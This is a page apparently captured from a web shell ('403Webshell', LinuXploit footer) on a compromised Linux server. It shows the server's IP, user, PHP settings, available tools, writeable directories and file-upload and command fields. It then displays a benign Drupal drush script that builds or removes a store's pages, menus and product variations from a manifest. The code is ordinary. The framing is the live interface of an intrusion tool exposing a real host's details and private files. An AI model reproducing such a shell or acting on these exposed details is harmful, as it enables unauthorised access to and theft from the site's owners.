403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/.claude/skills/store-ia/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/.claude/skills/store-ia//store_ia.php
<?php

/**
 * Scike store IA builder — run with: drush scr store_ia.php -- <mode>
 *
 *   build   Create (or regenerate) every page, menu, and the Scike product from
 *           manifest.json. Idempotent: it first removes anything it previously
 *           created, then rebuilds, so re-running after editing the IA is safe.
 *   clean   Remove everything this skill created and restore the prior front page.
 *   status  Report what is currently tracked.
 *
 * Everything created is recorded in Drupal state under the `tsai_store_ia.*`
 * keys, so cleanup is reliable even across sessions.
 */

use Drupal\commerce_price\Price;

$MARKER = 'tsai_store_ia';
$state = \Drupal::state();
$etm = \Drupal::entityTypeManager();

// --- Resolve mode (works with or without the `--` separator). ---------------
$argv = $_SERVER['argv'] ?? [];
$mode = 'status';
foreach (['build', 'clean', 'status'] as $m) {
  if (in_array($m, $argv, TRUE)) {
    $mode = $m;
  }
}

// --- Load the manifest next to this script. ---------------------------------
$dir = __DIR__;
$manifest = json_decode(file_get_contents("$dir/manifest.json"), TRUE);
if (!$manifest) {
  echo "ERROR: could not read manifest.json\n";
  return;
}
$format = $manifest['text_format'] ?? 'full_html';

function body_html(string $dir, array $entry): string {
  if (empty($entry['body_file'])) {
    return '';
  }
  $path = $dir . '/' . $entry['body_file'];
  return is_file($path) ? file_get_contents($path) : '';
}

// ---------------------------------------------------------------------------
// Delete everything currently tracked in state (pages, menu links, product,
// product variations, attribute values). Does NOT touch the front-page record.
// ---------------------------------------------------------------------------
function delete_tracked(string $MARKER, $state, $etm): void {
  // Menu links.
  $ids = $state->get("$MARKER.menu_links", []);
  if ($ids) {
    $links = $etm->getStorage('menu_link_content')->loadMultiple($ids);
    if ($links) {
      $etm->getStorage('menu_link_content')->delete($links);
    }
    echo "  removed " . count($ids) . " menu link(s)\n";
  }
  $state->delete("$MARKER.menu_links");

  // Product (variations cascade-delete with it, but delete explicitly too).
  $pid = $state->get("$MARKER.product");
  if ($pid && ($product = $etm->getStorage('commerce_product')->load($pid))) {
    $product->delete();
    echo "  removed product $pid\n";
  }
  $state->delete("$MARKER.product");

  $varids = $state->get("$MARKER.variations", []);
  if ($varids) {
    $vars = $etm->getStorage('commerce_product_variation')->loadMultiple($varids);
    if ($vars) {
      $etm->getStorage('commerce_product_variation')->delete($vars);
    }
  }
  $state->delete("$MARKER.variations");

  // Attribute values we created.
  $avids = $state->get("$MARKER.attr_values", []);
  if ($avids) {
    $avs = $etm->getStorage('commerce_product_attribute_value')->loadMultiple($avids);
    if ($avs) {
      $etm->getStorage('commerce_product_attribute_value')->delete($avs);
    }
    echo "  removed " . count($avids) . " plan attribute value(s)\n";
  }
  $state->delete("$MARKER.attr_values");

  // Placed blocks (e.g. the footer menu block).
  $bids = $state->get("$MARKER.blocks", []);
  if ($bids) {
    $blocks = $etm->getStorage('block')->loadMultiple($bids);
    if ($blocks) {
      $etm->getStorage('block')->delete($blocks);
    }
    echo "  removed " . count($bids) . " placed block(s)\n";
  }
  $state->delete("$MARKER.blocks");

  // Pages.
  $pages = $state->get("$MARKER.pages", []);
  if ($pages) {
    $nodes = $etm->getStorage('node')->loadMultiple(array_values($pages));
    if ($nodes) {
      $etm->getStorage('node')->delete($nodes);
    }
    echo "  removed " . count($pages) . " page(s)\n";
  }
  $state->delete("$MARKER.pages");
}

// ---------------------------------------------------------------------------
if ($mode === 'status') {
  $pages = $state->get("$MARKER.pages", []);
  $links = $state->get("$MARKER.menu_links", []);
  $pid = $state->get("$MARKER.product");
  $vars = $state->get("$MARKER.variations", []);
  echo "Scike store IA — tracked state\n";
  echo "  pages:        " . count($pages) . (count($pages) ? " (" . implode(', ', array_keys($pages)) . ")" : "") . "\n";
  echo "  menu links:   " . count($links) . "\n";
  echo "  product:      " . ($pid ?: '(none)') . "\n";
  echo "  variations:   " . count($vars) . "\n";
  echo "  blocks:       " . count($state->get("$MARKER.blocks", [])) . "\n";
  echo "  prev front:   " . ($state->get("$MARKER.prev_front") ?: '(none)') . "\n";
  return;
}

if ($mode === 'clean') {
  echo "Cleaning up Scike store IA...\n";
  delete_tracked($MARKER, $state, $etm);
  // Restore the original front page (fall back to /user/login if it's gone).
  $prev = $state->get("$MARKER.prev_front");
  if ($prev) {
    if (preg_match('#^/node/(\d+)$#', $prev, $mm) && !$etm->getStorage('node')->load($mm[1])) {
      $prev = '/user/login';
    }
    \Drupal::configFactory()->getEditable('system.site')->set('page.front', $prev)->save();
    echo "  restored front page to $prev\n";
  }
  $state->delete("$MARKER.prev_front");
  drupal_flush_all_caches();
  echo "Done. Store IA removed.\n";
  return;
}

// ---------------------------------------------------------------------------
// BUILD
// ---------------------------------------------------------------------------
echo "Building Scike store IA...\n";

// Capture the original front page once, before we delete anything.
if (!$state->get("$MARKER.prev_front")) {
  $front = \Drupal::config('system.site')->get('page.front') ?: '/user/login';
  $state->set("$MARKER.prev_front", $front);
}

// Remove anything we created on a previous run (makes build = regenerate).
delete_tracked($MARKER, $state, $etm);

// Remove legacy / conflicting content the IA takes ownership of:
//  - any leftover Scike/VibeChat commerce products (the old seed product),
//  - the default "Welcome to Scike" basic page,
//  - all existing main & footer menu links.
foreach ($etm->getStorage('commerce_product')->loadMultiple() as $p) {
  $t = strtolower($p->label());
  if (strpos($t, 'scike') !== FALSE || strpos($t, 'vibechat') !== FALSE) {
    echo "  removed legacy product " . $p->id() . " ('" . $p->label() . "')\n";
    $p->delete();
  }
}
foreach ($etm->getStorage('node')->loadByProperties(['type' => 'page']) as $n) {
  if (stripos($n->label(), 'welcome to scike') !== FALSE) {
    echo "  removed legacy page " . $n->id() . " ('" . $n->label() . "')\n";
    $n->delete();
  }
}
foreach (['main', 'footer'] as $mname) {
  $existing = $etm->getStorage('menu_link_content')->loadByProperties(['menu_name' => $mname]);
  if ($existing) {
    $etm->getStorage('menu_link_content')->delete($existing);
    echo "  cleared " . count($existing) . " existing '$mname' menu link(s)\n";
  }
}

// --- Pages ------------------------------------------------------------------
$page_map = [];
$front_nid = NULL;
foreach ($manifest['pages'] as $entry) {
  $node = $etm->getStorage('node')->create([
    'type' => 'page',
    'title' => $entry['title'],
    'body' => ['value' => body_html($dir, $entry), 'format' => $format],
    'status' => 1,
    'uid' => 1,
    'path' => ['alias' => $entry['alias']],
  ]);
  $node->save();
  $page_map[$entry['key']] = $node->id();
  if (($entry['key'] ?? '') === ($manifest['front_page_key'] ?? '')) {
    $front_nid = $node->id();
  }
  echo "  page '{$entry['key']}' -> /node/{$node->id()} ({$entry['alias']})\n";
}
$state->set("$MARKER.pages", $page_map);

// Front page.
if ($front_nid) {
  \Drupal::configFactory()->getEditable('system.site')->set('page.front', "/node/$front_nid")->save();
  echo "  set front page to /node/$front_nid\n";
}

// --- Product, attribute values & variations --------------------------------
$prod = $manifest['product'];
$attr = $prod['attribute'];
$store = \Drupal::entityTypeManager()->getStorage('commerce_store')->loadDefault();
$store_id = $store ? $store->id() : 1;

// Honor the explicit variation titles from the manifest ("Scike — Starter")
// rather than Commerce's auto-generated "<product> - <attribute>" form.
$vtype = $etm->getStorage('commerce_product_variation_type')->load('default');
if ($vtype && $vtype->shouldGenerateTitle()) {
  $vtype->setGenerateTitle(FALSE)->save();
  echo "  disabled auto title generation on 'default' variation type\n";
}

// Clear any orphaned plan attribute values (e.g. from a half-finished run)
// that match the names we're about to create, so we never duplicate them.
$wanted_names = array_map(fn($v) => $v['attr_value'], $prod['variations']);
foreach ($etm->getStorage('commerce_product_attribute_value')->loadByProperties(['attribute' => $attr]) as $av_existing) {
  if (in_array($av_existing->getName(), $wanted_names, TRUE)) {
    $av_existing->delete();
  }
}

$attr_value_ids = [];
$variation_ids = [];
foreach ($prod['variations'] as $v) {
  // Plan attribute value (e.g. Starter / Pro / Publisher).
  $av = $etm->getStorage('commerce_product_attribute_value')->create([
    'attribute' => $attr,
    'name' => $v['attr_value'],
  ]);
  $av->save();
  $attr_value_ids[] = $av->id();

  $values = [
    'type' => 'default',
    'sku' => $v['sku'],
    'title' => $v['title'],
    'price' => new Price($v['price'], $prod['currency'] ?? 'USD'),
    'status' => 1,
    'uid' => 1,
    "attribute_$attr" => $av->id(),
  ];
  if (!empty($prod['billing_schedule'])) {
    $values['billing_schedule'] = $prod['billing_schedule'];
  }
  if (!empty($prod['subscription_type'])) {
    // subscription_type is a commerce plugin-item field; it needs the plugin
    // id wrapped, not a bare string.
    $values['subscription_type'] = [
      'target_plugin_id' => $prod['subscription_type'],
      'target_plugin_configuration' => [],
    ];
  }
  $variation = $etm->getStorage('commerce_product_variation')->create($values);
  $variation->save();
  $variation_ids[] = $variation->id();
  echo "  variation '{$v['sku']}' -> {$v['title']} ({$v['price']})\n";
}

$product_values = [
  'type' => 'default',
  'title' => $prod['title'],
  'stores' => [$store_id],
  'variations' => $variation_ids,
  'status' => 1,
  'uid' => 1,
  'path' => ['alias' => $prod['alias']],
];
$product = $etm->getStorage('commerce_product')->create($product_values);
// Some installs add a body field to products; set it only if present.
if ($product->hasField('body')) {
  $product->set('body', ['value' => body_html($dir, $prod), 'format' => $format]);
}
$product->save();
echo "  product -> /product/{$product->id()} (alias {$prod['alias']})\n";

$state->set("$MARKER.product", $product->id());
$state->set("$MARKER.variations", $variation_ids);
$state->set("$MARKER.attr_values", $attr_value_ids);

// --- Menus ------------------------------------------------------------------
$tracked_links = [];
$mk = function (string $menu, array $item, int $weight, ?string $parent) use ($etm, &$tracked_links): string {
  $link = $etm->getStorage('menu_link_content')->create([
    'title' => $item['title'],
    'link' => ['uri' => $item['uri']],
    'menu_name' => $menu,
    'weight' => $weight,
    'expanded' => !empty($item['children']),
    'parent' => $parent,
  ]);
  $link->save();
  $tracked_links[] = $link->id();
  return 'menu_link_content:' . $link->uuid();
};
foreach (($manifest['menus'] ?? []) as $menu_name => $items) {
  $w = 0;
  foreach ($items as $item) {
    $parent_plugin = $mk($menu_name, $item, $w++, NULL);
    if (!empty($item['children'])) {
      $cw = 0;
      foreach ($item['children'] as $child) {
        $mk($menu_name, $child, $cw++, $parent_plugin);
      }
    }
  }
  echo "  built '$menu_name' menu\n";
}
$state->set("$MARKER.menu_links", $tracked_links);

// --- Footer menu block ------------------------------------------------------
// The active theme renders the main menu but doesn't place a footer menu block,
// so place one (in the theme's footer region) to surface the footer nav.
$tracked_blocks = [];
if (!empty($manifest['footer_block'])) {
  $fb = $manifest['footer_block'];
  $theme = \Drupal::config('system.theme')->get('default');
  // Remove a stale block of the same id first, then create fresh.
  if ($old = $etm->getStorage('block')->load($fb['id'])) {
    $old->delete();
  }
  $block = $etm->getStorage('block')->create([
    'id' => $fb['id'],
    'theme' => $theme,
    'region' => $fb['region'],
    'plugin' => 'system_menu_block:' . $fb['menu'],
    'weight' => 0,
    'settings' => [
      'label' => $fb['label'] ?? 'Footer',
      'label_display' => '0',
      'level' => 1,
      'depth' => 2,
    ],
  ]);
  $block->save();
  $tracked_blocks[] = $block->id();
  echo "  placed footer menu block '{$fb['id']}' in '{$theme}' / {$fb['region']}\n";
}
$state->set("$MARKER.blocks", $tracked_blocks);

drupal_flush_all_caches();
echo "Done. Store IA built (" . count($page_map) . " pages, " . count($tracked_links) . " menu links, 1 product / " . count($variation_ids) . " variations).\n";

Youez - 2016 - github.com/yon3zu
LinuXploit